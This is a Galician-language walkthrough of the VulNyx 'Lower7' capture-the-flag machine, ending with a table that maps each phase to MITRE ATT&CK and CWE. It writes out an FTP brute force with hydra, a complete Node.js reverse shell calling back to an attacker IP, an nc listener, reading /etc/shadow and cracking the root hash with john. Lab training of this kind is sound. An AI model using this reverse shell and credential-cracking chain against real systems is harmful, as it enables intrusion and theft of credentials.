Doc vulnyx lower7

Máquina virtual Lower7

A máquina Lower7 é moi interesante porque...

• Cabeceira FTP que revela nome de usuario
• Ataque de forza bruta FTP con hydra
• Subida de reverse shell Node.js mediante FTP
• Enumeración de ruta con wfuzz para localizar o ficheiro subido
• Usuario pertence ao grupo shadow pode ler /etc/shadow
• Cracking do hash de root con john

Diagrama de ataque

Fase 1 — Recopilación

sudo arp-scan --interface=eth1 192.168.56.0/24
ping -c2 IP_VulNyx_Lower7 -R # TTL ≃ 64 ⇒ GNU/Linux, TTL ≃ 128 ⇒ Microsoft Windows
sudo nmap -sS -Pn -T4 -p- -vvv --min-rate 5000 IP_VulNyx_Lower7 # 21,3000

Fase 2 — Análise

# Porto 21 → FTP
# Porto 3000 → Aplicación Node.js

# Conexión FTP para análise de cabeceira
ftp IP_VulNyx_Lower7
# Na cabeceira de resposta aparece o usuario: [usuario]

Fase 3 — Explotación

# Ataque de forza bruta FTP ao usuario [usuario]
hydra -l [usuario] -P /usr/share/wordlists/rockyou.txt ftp://IP_VulNyx_Lower7 -F -V -t 64
# Contrasinal atopada: [contrasinal]

# Preparación de reverse shell Node.js
# Referencia: https://www.revshells.com/ → Node.js #2
cat > shell.js << 'EOF'
(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("sh", []);
    var client = new net.Socket();
    client.connect(4444, "IP_Atacante", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application from crashing
})();
EOF

# Subida da reverse shell mediante FTP
ftp [usuario]@IP_VulNyx_Lower7
# Password: [contrasinal]
ftp> put shell.js
ftp> quit

# Enumeración da ruta onde se subiu o ficheiro
wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404 http://IP_VulNyx_Lower7:3000/FUZZ.js
# Descubrimos: http://IP_VulNyx_Lower7:3000/shell.js

# Preparamos listener no atacante
nc -nlvp 4444

# Execución da reverse shell
firefox http://IP_VulNyx_Lower7:3000/shell.js &
# ⇒ Conseguimos reverse shell como usuario [usuario] (flag user.txt)

Fase 4 — Post‑explotación

# Verificación de membresía de grupos
id
# Detectamos que [usuario] pertence ao grupo shadow

# Lectura de /etc/shadow
cat /etc/shadow
# Extraemos o hash de root

# Gardamos o hash nun ficheiro
echo "root:[hash]" > hash.txt

# Cracking do hash con john
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=crypt
# Contrasinal de root atopada

# Cambio a usuario root
su -
# Contrasinal: [atopada con john]
# ⇒ Conseguimos consola de root

# Verificación
whoami # root
cd /root
cat root.txt # ⇒ Flag de root conseguida

Correspondencia de fases → MITRE ATT&CK — VulNyx: Lower7

Fase	Acción / Resumo	Vector principal	MITRE ATT&CK (IDs)	CWE(s) (relevantes)
1. Recopilación	Descubrimento de host e servizos expostos	Scanning / descubrimento de servizos	T1595 — Active Scanning T1046 — Network Service Discovery	CWE-200 — Information Exposure (reconnaissance)
2. Análise	Identificación de usuario mediante cabeceira FTP	User enumeration via FTP banner	T1087 — Account Discovery T1592 — Gather Victim Host Information	CWE-200 — Information Exposure
3. Explotación	Ataque de forza bruta FTP	Brute-force de credenciais	T1110.001 — Brute Force: Password Guessing T1071.002 — Application Layer Protocol: File Transfer Protocols	CWE-521 — Weak Password Requirements; CWE-307 — Improper Restriction of Excessive Authentication Attempts
	Subida de reverse shell Node.js mediante FTP	File upload via FTP	T1105 — Ingress Tool Transfer T1505.003 — Server Software Component: Web Shell	CWE-434 — Unrestricted Upload of File with Dangerous Type
	Enumeración de ruta con wfuzz	Web fuzzing / directory discovery	T1083 — File and Directory Discovery T1592 — Gather Victim Host Information	CWE-548 — Exposure of Information Through Directory Listing
4. Post-explotación	Descubrimento de membresía no grupo shadow	Privilege discovery	T1069.001 — Permission Groups Discovery: Local Groups T1083 — File and Directory Discovery	CWE-732 — Incorrect Permission Assignment for Critical Resource
	Lectura de /etc/shadow e extracción de hash de root	Credential dumping	T1003.008 — OS Credential Dumping: /etc/passwd and /etc/shadow T1552.001 — Unsecured Credentials: Credentials In Files	CWE-732 — Incorrect Permission Assignment; CWE-522 — Insufficiently Protected Credentials
	Cracking de hash con john e cambio a root	Password cracking / privilege escalation	T1110.002 — Brute Force: Password Cracking T1078.003 — Valid Accounts: Local Accounts	CWE-521 — Weak Password Requirements; CWE-269 — Improper Privilege Management